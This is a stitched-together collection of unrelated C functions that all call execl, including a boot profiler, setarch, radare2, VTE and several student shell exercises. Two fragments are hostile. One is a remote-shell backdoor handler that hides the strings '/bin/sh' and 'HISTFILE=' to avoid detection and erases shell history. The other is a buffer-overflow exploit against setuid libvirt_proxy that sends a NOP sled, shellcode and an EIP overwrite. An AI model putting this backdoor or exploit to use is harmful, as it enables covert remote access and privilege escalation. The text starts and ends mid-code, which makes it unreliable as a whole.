- 1); if (streq(key, "scale_x")) scale_x = atof(val); if (streq(key, "scale_y")) scale_y = atof(val); if (streq(key, "entropy")) entropy = atoi(val); } fclose(f); } while (1) { static struct option opts[] = { {"rel", 0, NULL, 'r'}, {"freq", 1, NULL, 'f'}, {"samples", 1, NULL, 'n'}, {"pss", 0, NULL, 'p'}, {"output", 1, NULL, 'o'}, {"init", 1, NULL, 'i'}, {"filter", 0, NULL, 'F'}, {"help", 0, NULL, 'h'}, {"scale-x", 1, NULL, 'x'}, {"scale-y", 1, NULL, 'y'}, {"entropy", 0, NULL, 'e'}, {NULL, 0, NULL, 0} }; gind = 0; i = getopt_long(argc, argv, "erpf:n:o:i:Fhx:y:", opts, &gind); if (i == -1) break; switch (i) { case 'r': relative = 1; break; case 'f': hz = atof(optarg); break; case 'F': filter = 0; break; case 'n': len = atoi(optarg); break; case 'o': strncpy(output_path, optarg, PATH_MAX - 1); break; case 'i': strncpy(init_path, optarg, PATH_MAX - 1); break; case 'p': pss = 1; break; case 'x': scale_x = atof(optarg); break; case 'y': scale_y = atof(optarg); break; case 'e': entropy = 1; break; case 'h': fprintf(stderr, "Usage: %s [OPTIONS]\n", argv[0]); fprintf(stderr, " --rel, -r Record time relative to recording\n"); fprintf(stderr, " --freq, -f N Sample frequency [%f]\n", hz); fprintf(stderr, " --samples, -n N Stop sampling at [%d] samples\n", len); fprintf(stderr, " --scale-x, -x N Scale the graph horizontally [%f] \n", scale_x); fprintf(stderr, " --scale-y, -y N Scale the graph vertically [%f] \n", scale_y); fprintf(stderr, " --pss, -p Enable PSS graph (CPU intensive)\n"); fprintf(stderr, " --entropy, -e Enable the entropy_avail graph\n"); fprintf(stderr, " --output, -o [PATH] Path to output files [%s]\n", output_path); fprintf(stderr, " --init, -i [PATH] Path to init executable [%s]\n", init_path); fprintf(stderr, " --filter, -F Disable filtering of processes from the graph\n"); fprintf(stderr, " that are of less importance or short-lived\n"); fprintf(stderr, " --help, -h Display this message\n"); fprintf(stderr, "See the installed README and bootchartd.conf.example for more information.\n"); exit (EXIT_SUCCESS); break; default: break; } } if (len > MAXSAMPLES) { fprintf(stderr, "Error: samples exceeds maximum\n"); exit(EXIT_FAILURE); } if (hz <= 0.0) { fprintf(stderr, "Error: Frequency needs to be > 0\n"); exit(EXIT_FAILURE); } /* * If the kernel executed us through init=/sbin/bootchartd, then * fork: * - parent execs executable specified via init_path[] (/sbin/init by default) as pid=1 * - child logs data */ if (getpid() == 1) { if (fork()) { /* parent */ execl(init_path, init_path, NULL); } } /* start with empty ps LL */ ps_first = calloc(1, sizeof(struct ps_struct)); if (!ps_first) { perror("calloc(ps_struct)"); exit(EXIT_FAILURE); } /* handle TERM/INT nicely */ memset(&sig, 0, sizeof(struct sigaction)); sig.sa_handler = signal_handler; sigaction(SIGHUP, &sig, NULL); interval = (1.0 / hz) * 1000000000.0; log_uptime(); /* main program loop */ while (!exiting) { int res; double sample_stop; struct timespec req; time_t newint_s; long newint_ns; double elapsed; double timeleft; sampletime[samples] = gettime_ns(); /* wait for /proc to become available, discarding samples */ if (!(graph_start > 0.0)) log_uptime(); else log_sample(samples); sample_stop = gettime_ns(); elapsed = (sample_stop - sampletime[samples]) * 1000000000.0; timeleft = interval - elapsed; newint_s = (time_t)(timeleft / 1000000000.0); newint_ns = (long)(timeleft - (newint_s * 1000000000.0)); /* * check if we have not consumed our entire timeslice. If we * do, don't sleep and take a new sample right away. * we'll lose all the missed samples and overrun our total * time */ if ((newint_ns > 0) || (newint_s > 0)) { req.tv_sec = newint_s; req.tv_nsec = newint_ns; res = nanosleep(&req, NULL); if (res) { if (errno == EINTR) { /* caught signal, probably HUP! */ break; } perror("nanosleep()"); exit (EXIT_FAILURE); } } else { overrun++; /* calculate how many samples we lost and scrap them */ len = len + ((int)(newint_ns / interval)); } samples++; if (samples > len) break; } /* do some cleanup, close fd's */ ps = ps_first; while (ps->next_ps) { ps = ps->next_ps; if (ps->schedstat) close(ps->schedstat); if (ps->sched) close(ps->sched); if (ps->smaps) fclose(ps->smaps); } closedir(proc); t = time(NULL); strftime(datestr, sizeof(datestr), "%Y%m%d-%H%M", localtime(&t)); snprintf(output_file, PATH_MAX, "%s/bootchart-%s.svg", output_path, datestr); of = fopen(output_file, "w"); if (!of) { perror("open output_file"); exit (EXIT_FAILURE); } svg_do(); fprintf(stderr, "bootchartd: Wrote %s\n", output_file); fclose(of); /* nitpic cleanups */ ps = ps_first; while (ps->next_ps) { struct ps_struct *old = ps; ps = ps->next_ps; free(old->sample); free(old); } free(ps->sample); free(ps); /* don't complain when overrun once, happens most commonly on 1st sample */ if (overrun > 1) fprintf(stderr, "bootchartd: Warning: sample time overrun %i times\n", overrun); return 0; }
int main() { execl("./","ls -l",NULL); printf("lalala"); return 1; }
int main(int argc, char *argv[]) { const char *p; unsigned long options = 0; int verbose = 0; int c; /* Options --3gb and --4gb are for compatibitity with an old Debian setarch implementation. */ static const struct option longopts[] = { { "help", 0, 0, 'h' }, { "version", 0, 0, 'V' }, { "verbose", 0, 0, 'v' }, { "addr-no-randomize", 0, 0, 'R' }, { "fdpic-funcptrs", 0, 0, 'F' }, { "mmap-page-zero", 0, 0, 'Z' }, { "addr-compat-layout", 0, 0, 'L' }, { "read-implies-exec", 0, 0, 'X' }, { "32bit", 0, 0, 'B' }, { "short-inode", 0, 0, 'I' }, { "whole-seconds", 0, 0, 'S' }, { "sticky-timeouts", 0, 0, 'T' }, { "3gb", 0, 0, '3' }, { "4gb", 0, 0, OPT_4GB }, { "uname-2.6", 0, 0, OPT_UNAME26 }, { NULL, 0, 0, 0 } }; setlocale(LC_ALL, ""); bindtextdomain(PACKAGE, LOCALEDIR); textdomain(PACKAGE); atexit(close_stdout); if (argc < 1) show_usage(_("Not enough arguments")); p = program_invocation_short_name; if (!strcmp(p, "setarch")) { argc--; if (argc < 1) show_usage(_("Not enough arguments")); p = argv[1]; argv[1] = argv[0]; /* for getopt_long() to get the program name */ argv++; if (!strcmp(p, "-h") || !strcmp(p, "--help")) show_help(); else if (!strcmp(p, "-V") || !strcmp(p, "--version")) show_version(); else if (!strcmp(p, "--list")) { set_arch(argv[0], 0L, 1); return EXIT_SUCCESS; } } #if defined(__sparc64__) || defined(__sparc__) if (!strcmp(p, "sparc32bash")) { if (set_arch(p, 0L, 0)) err(EXIT_FAILURE, _("Failed to set personality to %s"), p); execl("/bin/bash", NULL); err(EXIT_FAILURE, _("failed to execute %s"), "/bin/bash"); } #endif while ((c = getopt_long(argc, argv, "+hVv3BFILRSTXZ", longopts, NULL)) != -1) { switch (c) { case 'h': show_help(); break; case 'V': show_version(); break; case 'v': verbose = 1; break; case 'R': turn_on(ADDR_NO_RANDOMIZE, options); break; case 'F': turn_on(FDPIC_FUNCPTRS, options); break; case 'Z': turn_on(MMAP_PAGE_ZERO, options); break; case 'L': turn_on(ADDR_COMPAT_LAYOUT, options); break; case 'X': turn_on(READ_IMPLIES_EXEC, options); break; case 'B': turn_on(ADDR_LIMIT_32BIT, options); break; case 'I': turn_on(SHORT_INODE, options); break; case 'S': turn_on(WHOLE_SECONDS, options); break; case 'T': turn_on(STICKY_TIMEOUTS, options); break; case '3': turn_on(ADDR_LIMIT_3GB, options); break; case OPT_4GB: /* just ignore this one */ break; case OPT_UNAME26: turn_on(UNAME26, options); break; default: show_usage(NULL); } } argc -= optind; argv += optind; if (set_arch(p, options, 0)) err(EXIT_FAILURE, _("Failed to set personality to %s"), p); /* flush all output streams before exec */ fflush(NULL); if (!argc) { execl("/bin/sh", "-sh", NULL); err(EXIT_FAILURE, _("failed to execute %s"), "/bin/sh"); } execvp(argv[0], argv); err(EXIT_FAILURE, "%s", argv[0]); return EXIT_FAILURE; }
R_API int r_sandbox_system (const char *x, int n) { if (enabled) { eprintf ("sandbox: system call disabled\n"); return -1; } #if LIBC_HAVE_FORK #if LIBC_HAVE_SYSTEM if (n) { #if APPLE_SDK_IPHONEOS #include <dlfcn.h> int (*__system)(const char *cmd) = dlsym (NULL, "system"); if (__system) { return __system (x); } return -1; #else return system (x); #endif } return execl ("/bin/sh", "sh", "-c", x, (const char*)NULL); #else #include <spawn.h> if (n && !strchr (x, '|')) { char **argv, *cmd = strdup (x); int rc, pid, argc; char *isbg = strchr (cmd, '&'); // XXX this is hacky if (isbg) { *isbg = 0; } argv = r_str_argv (cmd, &argc); if (argv) { char *argv0 = r_file_path (argv[0]); if (!argv0) { eprintf ("Cannot find '%s'\n", argv[0]); return -1; } pid = 0; posix_spawn (&pid, argv0, NULL, NULL, argv, NULL); if (isbg) { // XXX. wait for children rc = 0; } else { rc = waitpid (pid, NULL, 0); } r_str_argv_free (argv); free (argv0); return rc; } eprintf ("Error parsing command arguments\n"); return -1; } int child = fork(); if (child == -1) return -1; if (child) { return waitpid (child, NULL, 0); } execl ("/bin/sh", "sh", "-c", x, (const char*)NULL); exit (1); #endif #endif return -1; }
/* * _vte_pty_start_helper: * @error: a location to store a #GError, or %NULL * * Starts the GNOME PTY helper process, if it is not already running. * * Returns: %TRUE if the helper was already started, or starting it succeeded, * %FALSE on failure with @error filled in */ static gboolean _vte_pty_start_helper(GError **error) { int i, errsv; int tunnel = -1; int tmp[2] = { -1, -1 }; if (_vte_pty_helper_started) return TRUE; /* Create a communication link for use with the helper. */ tmp[0] = open("/dev/null", O_RDONLY); if (tmp[0] == -1) { goto failure; } tmp[1] = open("/dev/null", O_RDONLY); if (tmp[1] == -1) { goto failure; } if (_vte_pty_pipe_open(&_vte_pty_helper_tunnel, &tunnel) != 0) { goto failure; } close(tmp[0]); close(tmp[1]); tmp[0] = tmp[1] = -1; /* Now fork and start the helper. */ _vte_pty_helper_pid = fork(); if (_vte_pty_helper_pid == -1) { goto failure; } if (_vte_pty_helper_pid == 0) { /* Child. Close descriptors. No need to close all, * gnome-pty-helper does that anyway. */ for (i = 0; i < 3; i++) { close(i); } /* Reassign the socket pair to stdio. */ dup2(tunnel, STDIN_FILENO); dup2(tunnel, STDOUT_FILENO); close(tunnel); close(_vte_pty_helper_tunnel); /* Exec our helper. */ execl(LIBEXECDIR "/gnome-pty-helper", "gnome-pty-helper", NULL); /* Bail. */ _exit(1); } close(tunnel); atexit(_vte_pty_stop_helper); _vte_pty_helper_started = TRUE; return TRUE; failure: errsv = errno; g_set_error(error, VTE_PTY_ERROR, VTE_PTY_ERROR_PTY_HELPER_FAILED, "Failed to start gnome-pty-helper: %s", g_strerror (errsv)); if (tmp[0] != -1) close(tmp[0]); if (tmp[1] != -1) close(tmp[1]); if (tunnel != -1) close(tunnel); if (_vte_pty_helper_tunnel != -1) close(_vte_pty_helper_tunnel); _vte_pty_helper_pid = -1; _vte_pty_helper_tunnel = -1; errno = errsv; return FALSE; }
int main(){ while(1){ char c,*arg[20],*temp,*temp1,*argv,exec_temp[BUFF_SIZE]; int i=0,j=0,is_bg=0,pid=0,k=0,status=0; memset(buff,'\0',BUFF_SIZE); memset(buff1,'\0',BUFF_SIZE); memset(input,'\0',BUFF_SIZE); memset(exec_temp,'\0',BUFF_SIZE); arg[0]=(char*)malloc(BUFF_SIZE); //获取用户命令 while((c=getchar())==' '||c=='\t'||c==EOF); if(c=='\n') continue; while(c!='\n'){ buff[i]=c; i++; c=getchar(); } buff[i]='\0'; strcpy(input,buff); strcpy(arg[0],buff); temp=(char*)malloc(BUFF_SIZE); strcpy(temp,arg[0]); temp1=(char*)malloc(BUFF_SIZE); strcpy(temp1,temp); temp1=strtok(temp," "); while(temp1!=NULL){ j++; arg[j]=(char*)malloc(BUFF_SIZE); strcpy(arg[j],temp1); temp1=strtok(NULL," "); } strcpy(exec_temp,(char*)get_current_dir_name()); if(strcmp((char *)get_current_dir_name(),"/")!=0) strcat(exec_temp,"/"); for(k=0;k<=i;k++){ if(arg[1][k]=='&'&&arg[1][k+1]=='\0'){ is_bg=1; arg[1][k]='\0'; break; } } strcat(exec_temp,arg[1]); if(is_found(arg[1])==0){ printf("the commond can not find\n"); for(i=0;i<j;i++) free(arg[i]); continue; } //命令执行 if((pid=fork())==0){ if(is_bg==1) while(flag==0) signal(SIGUSR1,setflag); flag=0; if(j==2) execl(buff1,buff1,NULL); else if(j==3) execl(buff1,buff1,arg[2],NULL); else if(j==4) execl(buff1,buff1,arg[2],arg[3],NULL); else if(j==5) execl(buff1,buff1,arg[2],arg[3],arg[4],NULL); }else{ pid1=pid; if(is_bg==1){ kill(pid,SIGUSR1); pid1=0; } if(is_bg==0) waitpid(pid,&status,0); } if(is_bg==1) sleep(1); for(i=0;i<j;i++) free(arg[i]); } }
int main(int argc,char *argv[]) { int i=0,sys=0; int j; char arg1[100],arg2[100]; if(argc==2) { for(i=0;argv[1][i]!='/';i++); for(j=0;j<i;j++) { arg1[j]=argv[1][j]; } arg1[j]='\0'; j=0; for(i++;argv[1][i]!='\0';i++) { arg2[j++]=argv[1][i]; } arg2[j]='\0'; } if(argc==3) { int check=2; for(i=0;argv[1][i]!='\0';i++) { if(argv[1][i]=='/') { check=1; break; } } if(check==1) { for(j=0;j<=i-1;j++) { arg1[j]=argv[1][j]; } arg1[j]='\0'; strcpy(arg2,argv[2]); } if(check==2) { strcpy(arg1,argv[1]); for(j=1;argv[2][j]!='\0';j++) { arg2[j-1]=argv[2][j]; } arg2[j-1]='\0'; } } if(argc==4) { strcpy(arg1,argv[1]); strcpy(arg2,argv[3]); } printf("%s %s\n",arg1,arg2); //printf("args=%d\n",argc); pid_t pid; int p[2];//={open("pipe1",O_WRONLY),open("pipe2",O_RDONLY)}; pipe(p); char filename1[100],filename2[100],path[100],descriptor[100]; strcpy(path,"/proc/self/fd/"); sprintf(descriptor, "%d", p[0]); strcat(path,descriptor); readlink(path, filename1, 100); printf("read end=%s path=%s\n",filename1,path); strcpy(path,"/proc/self/fd/"); sprintf(descriptor, "%d", p[1]); strcat(path,descriptor); readlink(path, filename2, 100); printf("write end=%s path=%s\n",filename2,path); pid=fork(); if(pid==-1) { printf("error"); exit(0); } else if(pid==0) { pid=fork(); if(pid==-1) { printf("error"); exit(0); } else if(pid==0) { close(p[1]); printf("grandchild\n"); //dup2(open(argv[i+1],O_RDONLY),0); dup2(p[0],0); //close(p[0]); execl(arg1,"",(char *)0); exit(0); } else { wait(&i); close(p[0]); printf("child\n"); dup2(p[1],1); //dup2(open("pipe",O_WRONLY),1); execl(arg2,"",(char *)0); exit(0); } } else { printf("parent\n"); wait(&i); } return 0; }
int tshd_runshell( int client ) { fd_set rd; struct winsize ws; char *slave, *temp, *shell; int ret, len, pid, pty, tty, n; /* request a pseudo-terminal */ #if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 ) { return( 24 ); } slave = ttyname( tty ); if( slave == NULL ) { return( 25 ); } #else #if defined IRIX slave = _getpty( &pty, O_RDWR, 0622, 0 ); if( slave == NULL ) { return( 26 ); } tty = open( slave, O_RDWR | O_NOCTTY ); if( tty < 0 ) { return( 27 ); } #else #if defined CYGWIN || defined SUNOS || defined HPUX pty = open( "/dev/ptmx", O_RDWR | O_NOCTTY ); if( pty < 0 ) { return( 28 ); } if( grantpt( pty ) < 0 ) { return( 29 ); } if( unlockpt( pty ) < 0 ) { return( 30 ); } slave = ptsname( pty ); if( slave == NULL ) { return( 31 ); } tty = open( slave, O_RDWR | O_NOCTTY ); if( tty < 0 ) { return( 32 ); } #if defined SUNOS || defined HPUX if( ioctl( tty, I_PUSH, "ptem" ) < 0 ) { return( 33 ); } if( ioctl( tty, I_PUSH, "ldterm" ) < 0 ) { return( 34 ); } #if defined SUNOS if( ioctl( tty, I_PUSH, "ttcompat" ) < 0 ) { return( 35 ); } #endif #endif #endif #endif #endif /* just in case bash is run, kill the history file */ temp = (char *) malloc( 10 ); if( temp == NULL ) { return( 36 ); } temp[0] = 'H'; temp[5] = 'I'; temp[1] = 'I'; temp[6] = 'L'; temp[2] = 'S'; temp[7] = 'E'; temp[3] = 'T'; temp[8] = '='; temp[4] = 'F'; temp[9] = '\0'; putenv( temp ); /* get the TERM environment variable */ ret = pel_recv_msg( client, message, &len ); if( ret != PEL_SUCCESS ) { return( 37 ); } message[len] = '\0'; temp = (char *) malloc( len + 6 ); if( temp == NULL ) { return( 38 ); } temp[0] = 'T'; temp[3] = 'M'; temp[1] = 'E'; temp[4] = '='; temp[2] = 'R'; strncpy( temp + 5, (char *) message, len + 1 ); putenv( temp ); /* get the window size */ ret = pel_recv_msg( client, message, &len ); if( ret != PEL_SUCCESS || len != 4 ) { return( 39 ); } ws.ws_row = ( (int) message[0] << 8 ) + (int) message[1]; ws.ws_col = ( (int) message[2] << 8 ) + (int) message[3]; ws.ws_xpixel = 0; ws.ws_ypixel = 0; if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 ) { return( 40 ); } /* get the system command */ ret = pel_recv_msg( client, message, &len ); if( ret != PEL_SUCCESS ) { return( 41 ); } message[len] = '\0'; temp = (char *) malloc( len + 1 ); if( temp == NULL ) { return( 42 ); } strncpy( temp, (char *) message, len + 1 ); /* fork to spawn a shell */ pid = fork(); if( pid < 0 ) { return( 43 ); } if( pid == 0 ) { /* close the client socket and the pty (master side) */ close( client ); close( pty ); /* create a new session */ if( setsid() < 0 ) { return( 44 ); } /* set controlling tty, to have job control */ #if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF if( ioctl( tty, TIOCSCTTY, NULL ) < 0 ) { return( 45 ); } #else #if defined CYGWIN || defined SUNOS || defined IRIX || defined HPUX { int fd; fd = open( slave, O_RDWR ); if( fd < 0 ) { return( 46 ); } close( tty ); tty = fd; } #endif #endif /* tty becomes stdin, stdout, stderr */ dup2( tty, 0 ); dup2( tty, 1 ); dup2( tty, 2 ); if( tty > 2 ) { close( tty ); } /* fire up the shell */ shell = (char *) malloc( 8 ); if( shell == NULL ) { return( 47 ); } shell[0] = '/'; shell[4] = '/'; shell[1] = 'b'; shell[5] = 's'; shell[2] = 'i'; shell[6] = 'h'; shell[3] = 'n'; shell[7] = '\0'; execl( shell, shell + 5, "-c", temp, (char *) 0 ); /* d0h, this shouldn't happen */ return( 48 ); } else { /* tty (slave side) not needed anymore */ close( tty ); /* let's forward the data back and forth */ while( 1 ) { FD_ZERO( &rd ); FD_SET( client, &rd ); FD_SET( pty, &rd ); n = ( pty > client ) ? pty : client; if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 ) { return( 49 ); } if( FD_ISSET( client, &rd ) ) { ret = pel_recv_msg( client, message, &len ); if( ret != PEL_SUCCESS ) { return( 50 ); } if( write( pty, message, len ) != len ) { return( 51 ); } } if( FD_ISSET( pty, &rd ) ) { len = read( pty, message, BUFSIZE ); if( len == 0 ) break; if( len < 0 ) { return( 52 ); } ret = pel_send_msg( client, message, len ); if( ret != PEL_SUCCESS ) { return( 53 ); } } } return( 54 ); } /* not reached */ return( 55 ); }
int main(int argc, char * argv[]){ int i; if ((argc!=3)&&(argc!=4)) { printf("Usage:%s numer_of_readers number_of_writers [--test]\n", argv[0]); exit(1); } int readers= atoi(argv[1]); int writers= atoi(argv[2]); if ((readers<=0) || (writers<=0)){ printf("Invalid numbers.\n", argv[0]); exit(1); } int test=0; if ((argc==4)&&(strncmp("--test", argv[3],7)==0)){ test=1; } // generate producers and writers close(3); close(4); fcntl(0,F_DUPFD,3); fcntl(0,F_DUPFD,4); for (i=0; i< writers; i++){ int fd1[2]; int fd2[2]; if (pipe(fd1)==-1) exit(1); if (pipe(fd2)==-1) exit(1); if (!fork()){ close(fd2[0]); close(fd2[1]); producer(fd1,2*i); } if (!fork()){ close(fd1[0]); close(fd1[1]); producer(fd2,2*i+1); } if (!fork()){ close(3); close(4); fcntl(fd1[0],F_DUPFD,3); fcntl(fd2[0],F_DUPFD,4); close(0); close(fd1[0]); close(fd1[1]); close(fd2[0]); close(fd2[1]); if (!test){ close(1); int er=execl(WRITER,WRITER,argv[1],argv[2],NULL); fprintf(stderr,"writer exec failed with: %s\n",strerror(errno)); } else { int er=execl(TEST_WRITER,TEST_WRITER,NULL); fprintf(stderr,"test writer exec failed with: %s\n",strerror(errno)); } exit(1); } close(fd1[0]); close(fd1[1]); close(fd2[0]); close(fd2[1]); } if (test) wait_for(3*writers); // generate readers printf("readers\n"); char buf[20]; int o= sprintf(buf,"%s.out.",READER); for (i=0; i< readers; i++){ printf("readersi loop %d\n",1); if (!fork()){ sprintf(buf+o, "%d",i); close(1); int fd=open( buf, O_CREAT|O_TRUNC|O_WRONLY,S_IWUSR|S_IRUSR); fprintf(stderr,"reader open at: %d\n",fd); close(0); int er= execl(READER,READER,argv[1],argv[2],NULL); fprintf(stderr,"reader exec failed with: %s\n",strerror(errno)); exit(1); } } wait_for(3*writers+readers); }
int main(int argc, char **argv) { FILE *fp; long ptr; int i, fd, pid, ret; char *pkt, nop[65536]; struct sockaddr_un addr; struct proxy_packet req; struct timeval tv; signal(SIGPIPE, SIG_IGN); /* guess a random offset to jmp to */ gettimeofday(&tv, NULL); srand((tv.tv_sec ^ tv.tv_usec) ^ getpid()); ptr = 0xbf000000 + (rand() & 0x00ffffff); /* fire up the setuid libvirt_proxy */ pid = fork(); if (pid == 0) { execl(PROXY_PATH, "libvirt_proxy", NULL); } memset(nop, '\x90', sizeof(nop)); /* connect to libvirt_proxy's AF_UNIX socket */ fd = socket(PF_UNIX, SOCK_STREAM, 0); if (fd < 0) { printf("[-] failed to create unix socket\n"); return 1; } memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; addr.sun_path[0] = '\0'; strncpy(&addr.sun_path[1], PROXY_SOCKET_PATH, strlen(PROXY_SOCKET_PATH)); printf("[+] connecting to libvirt_proxy\n"); if (connect(fd, (struct sockaddr *) &addr, sizeof(addr)) < 0) { printf("[-] cant connect to libvirt_proxy socket\n"); return 1; } /* transmit malicious payload to libvirt_proxy */ pkt = (char *) &req; memset(&req, 0, sizeof(req)); req.version = PROXY_PROTO_VERSION; req.len = PROXY_PACKET_LENGTH; printf("[+] sending initial packet header\n"); send(fd, pkt, 7, 0); usleep(100000); printf("[+] sending corrupted length value\n"); send(fd, pkt + 7, 1, 0); printf("[+] sending primary NOP sled\n"); send(fd, nop, 4096, 0); printf("[+] sending primary shellcode\n"); send(fd, shellcode, 28, 0); printf("[+] sending EIP overwrite (0x%lx)\n", ptr); send(fd, &ptr, 4, 0); usleep(100000); printf("[+] sending secondary NOP/shellcode bundles\n"); for (i = 0; i < 100; ++i) { send(fd, nop, 1000, 0); send(fd, shellcode, 28, 0); } close(fd); usleep(800000); /* clean slate if our guessed addr failed */ kill(pid, SIGKILL); return 0; }
int ejecutar_script(char* path_script, char* name_script, int(*reader_writer)(int fdreader, int fdwriter), pthread_mutex_t* mutex, int c_ftok){ /* key_t shmkey; int shmid; sem_t *sem; sem = sem_crear(&shmid, &shmkey, c_ftok); */ int pipes[NUM_PIPES][2]; pthread_mutex_lock(mutex); // pipes for parent to write and read if (pipe(pipes[PARENT_READ_PIPE]) == -1) handle_error("pipe"); if ((pipe(pipes[PARENT_WRITE_PIPE])) == -1) handle_error("pipe"); /////////////////////////////////////////// pid_t pid; pid = fork(); pthread_mutex_unlock(mutex); if (pid < 0){ //handle_error("fork pipe stdin stdout"); perror("fork!!!!!!!!!!!"); return -1; } if (pid == 0) { if (dup2(pipes[PARENT_WRITE_PIPE][READ_FD], STDIN_FILENO) < 0) { perror("dup2 STDIN_FILENO"); _exit(1); } if (dup2(pipes[PARENT_READ_PIPE][WRITE_FD], STDOUT_FILENO) < 0) { perror("dup2 STDIN_FILENO"); _exit(1); } close(pipes[PARENT_WRITE_PIPE][READ_FD]); close(pipes[PARENT_READ_PIPE][WRITE_FD]); close(pipes[PARENT_READ_PIPE][READ_FD]); close(pipes[PARENT_WRITE_PIPE][WRITE_FD]); //execl("/usr/bin/sort", "sort", (char*) NULL); //sem_post(sem); int rs = 1; do { rs = execl(path_script, name_script, (char*) NULL); perror("Errro execv"); fprintf(stderr, "hola path:%s, name: %s, Res: %d\n", path_script, name_script, rs); usleep(100000); _exit(127); } while (rs < 0); close(pipes[PARENT_READ_PIPE][READ_FD]); close(pipes[PARENT_WRITE_PIPE][WRITE_FD]); _exit(127); } else { /* printf("AAAAAAAAAAntes sem_wait(sem);\n"); sem_wait(sem); printf("DDDDDDDDDESPUES sem_wait(sem);\n"); shmctl(shmid, IPC_RMID, 0); sem_destroy (sem); */ int rs; rs = close(pipes[PARENT_WRITE_PIPE][READ_FD]); if(rs!=0){ perror("close1"); } rs = close(pipes[PARENT_READ_PIPE][WRITE_FD]); if(rs!=0){ perror("close2"); } rs = reader_writer(pipes[PARENT_READ_PIPE][READ_FD], pipes[PARENT_WRITE_PIPE][WRITE_FD]); int status; waitpid(pid, &status, 0); //puts("listo"); return rs; } }
int main(int argc, char **argv) { /* command line arguments variables */ char *smewsBinaryPath = NULL; int nNodes = DEFAULT_NNODES; double nodeRange = DEFAULT_NODE_RANGE; double lossRate = DEFAULT_LOSS_RATE; /* misc. locals... */ int i; int j; int ret; int nRead; int nfds; int tun_fd; int socket_fd; fd_set fdset; char tmpstr[64]; char *cptr; struct sockaddr_in sockaddr; /* arguments parsing */ if(argc == 1) usage(); opterr = 0; while ((j = getopt (argc, argv, "hb:n:r:l:")) != -1) { switch (j) { case 'h': usage(); break; case 'b': smewsBinaryPath = optarg; break; case 'n': nNodes = strtol(optarg, &cptr, 10); ensure(!*cptr && nNodes > 0,"Option -n requires a positive integer as argument.\n"); break; case 'r': nodeRange = strtod(optarg, &cptr); ensure(!*cptr && nodeRange > 0 && nodeRange <=1,"Option -r requires a float in ]0-1] as argument.\n"); break; case 'l': lossRate = strtod(optarg, &cptr); ensure(!*cptr && lossRate >= 0 && lossRate <=1,"Option -r requires a float in [0-1] as argument.\n"); break; case '?': if(isprint (optopt)) sprintf(tmpstr,"Unknown option `-%c'.\n", optopt); else sprintf(tmpstr,"Unknown option character `0x%x'.\n",optopt); ensure(0,tmpstr); default: ensure(0,"An error occured when parsing the arguments.\n"); } } if(optind != argc) { sprintf(tmpstr,"Invalid argument `%s'\n", argv[optind]); ensure(0,tmpstr); } ensure(smewsBinaryPath != NULL,"Option -b is required.\n"); /* print the current configuration */ printf("Configuring the simulator...\n"); printf("Smews binary path: %s\n",smewsBinaryPath); printf("Amount of nodes: %d\n",nNodes); printf("Nodes range: %f\n",nodeRange); printf("Loss rate: %f\n",lossRate); /* catch the 16 first signals signals */ for(i=1; i<16; i++) signal(i, &cleanup); /* host socket creation */ socket_fd = socket(AF_INET,SOCK_DGRAM,0); check(socket_fd != -1,"socket() error"); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htons(1024); sockaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); memset(&sockaddr.sin_zero,0,8); ret=bind(socket_fd,(struct sockaddr*)&sockaddr,sizeof(sockaddr)); check(ret != -1,"bind() error"); /* Smews processes and nodes creation */ nodes = (struct node_s *)malloc(nNodes*sizeof(struct node_s)); check(nodes != NULL,"malloc() error"); srand(time(NULL)); for(i=0; i<nNodes; i++) { nodes[i].first_neighbour = NULL; nodes[i].nodeN = i; /* set coordinates for the node i */ do { nodes[i].x = rand()/(float)RAND_MAX; nodes[i].y = rand()/(float)RAND_MAX; for(j=0; j<i; j++) { /* set neighbourhoud */ if(ABS_DIST(nodes[i],nodes[j]) <= nodeRange) { add_neighbour(&nodes[i],&nodes[j]); add_neighbour(&nodes[j],&nodes[i]); } } /* ensures that the graph is connected */ } while (i!=0 && !nodes[i].first_neighbour); /* new Smews process creation */ sprintf(tmpstr,"%d",i); setenv("SMEWS_ID",tmpstr,1); if(!vfork()) { execl(smewsBinaryPath,"",NULL); perror("execl() error"); cleanup(2); } } /* TUN interface creation */ struct ifreq ifr; tun_fd = open(DEVTUN, O_RDWR); check(tun_fd != -1,"tun open() error"); memset(&ifr, 0, sizeof(ifr)); ifr.ifr_flags = IFF_TUN; ret = ioctl(tun_fd, TUNSETIFF, (void *) &ifr); check(ret >= 0,"tun ioctl error"); /* TUN attachement to an IP address */ snprintf((char*)tmpstr, BUFSIZE, "ifconfig %s 192.168.0.0 pointopoint 192.168.1.0 mtu 1500",ifr.ifr_name); ret = system((char*)tmpstr); check(ret != -1,"system() error when setting ifconfig"); /* main loop */ printf("Simulation is launched...\n"); nfds = MAX(tun_fd,socket_fd)+1; FD_ZERO(&fdset); while(1) { FD_SET(tun_fd, &fdset); FD_SET(socket_fd, &fdset); ret = select(nfds, &fdset, NULL, NULL, NULL); check(ret != -1,"select() error"); /* wait for something to read on tun_fd or socket_fd */ if(ret) { if(FD_ISSET(tun_fd, &fdset)) { /* something has been received on tun_fd, we forward it to the reachable node */ nRead = read(tun_fd, (void *)buffer, BUFSIZE); check(nRead != -1,"read() error"); if(!loss_occurs(0,1,lossRate)) { sockaddr.sin_port = htons(1025); ret = sendto(socket_fd,buffer,nRead,0,(struct sockaddr*)&sockaddr,sizeof(sockaddr)); check(ret != -1,"sendto() error"); } } if(FD_ISSET(socket_fd, &fdset)) { /* something has been received on socket_fd */ int addrLen; int emitterN; nRead = recvfrom(socket_fd,buffer,BUFSIZE,0,(struct sockaddr*)&sockaddr,&addrLen); check(nRead != -1,"recvfrom() error"); emitterN = ntohs(sockaddr.sin_port) - (1025); if(emitterN >= 0 && emitterN < nNodes) { /* send the datagram to all the neighbours of the emitter */ struct neighbour_s *curr_neighbour = nodes[emitterN].first_neighbour; while(curr_neighbour) { if(!loss_occurs(emitterN,curr_neighbour->node->nodeN,lossRate)) { sockaddr.sin_port = htons(1025 + curr_neighbour->node->nodeN); ret = sendto(socket_fd,buffer,nRead,0,(struct sockaddr*)&sockaddr,sizeof(sockaddr)); check(ret != -1,"sendto() error"); } curr_neighbour = curr_neighbour->next; } /* if the emitter is the reachable node, send the 